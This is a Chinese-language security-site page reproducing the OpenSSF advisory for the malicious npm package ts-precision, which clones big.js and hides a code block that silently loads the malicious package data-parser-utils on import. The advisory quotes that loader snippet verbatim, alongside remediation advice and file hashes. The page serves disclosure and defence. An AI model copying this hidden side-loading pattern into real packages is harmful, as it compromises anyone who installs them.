目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%
← 返回恶意软件包
npm active

ts-precision

MAL-2026-6469
2026-07-30 04:16:45
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in ts-precision (npm)

凭据/密钥窃取
AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
last-week
下载量
153
数据源
npmjs.org
下载量只代表仓库活动度,不等于已被入侵的安装数量。
受影响版本
EcosystemPackageVersion
npmts-precision*
npmts-precision3.7.2
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"modified":"2026-07-30T04:16:45Z","published":"2026-06-25T18:11:56Z","schema_version":"1.7.4","id":"MAL-2026-6469","aliases":["GHSA-g38h-2r6h-pwr8"],"summary":"Malicious code in ts-precision (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (e7d2534408d7dd1d7f02c3ef470bc697d0803e8acd58941de5974a250127cb8c)\nPackage ships a verbatim copy of big.js v7.0.1 (including the original author metadata 'Michael Mclaughlin <M8ch88l@gmail.com>' and repo reference MikeMcl/big.js) under a different name, mimicking a legitimate arbitrary-precision math library to lure installers. Hidden between math methods in the module body is an unrelated block: `try { const doc = require(\"data-parser-utils\"); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }`. This block fires on every `require('ts-precision')` / `import` of the package, pulling in and invoking the known-malicious npm package `data-parser-utils`, with errors silently swallowed in an empty try/catch and no-op promise handlers to hide failures from the consumer. The dependency invocation is unrelated to decimal arithmetic and exists solely to side-load attacker-controlled code into any consumer's process at module load.\n\n## Source: ghsa-malware (b4ffbdf3dab9ae9a0147818f09f7763029240baf7125f0363fedbc80dcf71234)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"ecosystem":"npm","name":"ts-precision"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["3.7.2"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"big.js","sha256":"4e4f951802cfc3b04a4e1d44353a360afce53a687163be32fa5360b43ea86674","tlsh":"03c2658c3ac67579593363788f4a5088eb38525712c8b186b4ae63b46f78cb107b5fdc"},{"path":"package.json","sha256":"7b5b152905601ce985c7d4e8c912fd0e79655222935c785079b5aa1d8a5c4620","tlsh":"1d210463c9a19da70af85b94bcac03aaf1151b1f40a08c5bb07b130c5f3355b2095b7d"}],"package_integrity":[{"filename":"ts-precision-3.7.2.tgz","hashes":{"sha1":"9ff147230bba976bc169b247c4d0d84ea8254261","sha512_sri":"sha512-qeaZg4tesKgUjURYBWfdXHktdEgFeA70MWmdfo9Nixy9wnR+EknggmG17LFuXvpAgrpkjS0n7RAYNNozbjm/Ow=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/ts-precision/v/3.7.2"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-g38h-2r6h-pwr8"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"source":"amazon-inspector","sha256":"e7d2534408d7dd1d7f02c3ef470bc697d0803e8acd58941de5974a250127cb8c","import_time":"2026-06-25T18:17:38.177326218Z","id":"IN-MAL-2026-007525","modified_time":"2026-06-25T18:11:56Z","versions":["3.7.2"]},{"source":"ghsa-malware","sha256":"b4ffbdf3dab9ae9a0147818f09f7763029240baf7125f0363fedbc80dcf71234","import_time":"2026-07-30T03:51:56.483166Z","id":"GHSA-g38h-2r6h-pwr8","modified_time":"2026-07-29T16:04:10Z","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]}]}}

数据来源:OpenSSF Malicious Packages · Apache-2.0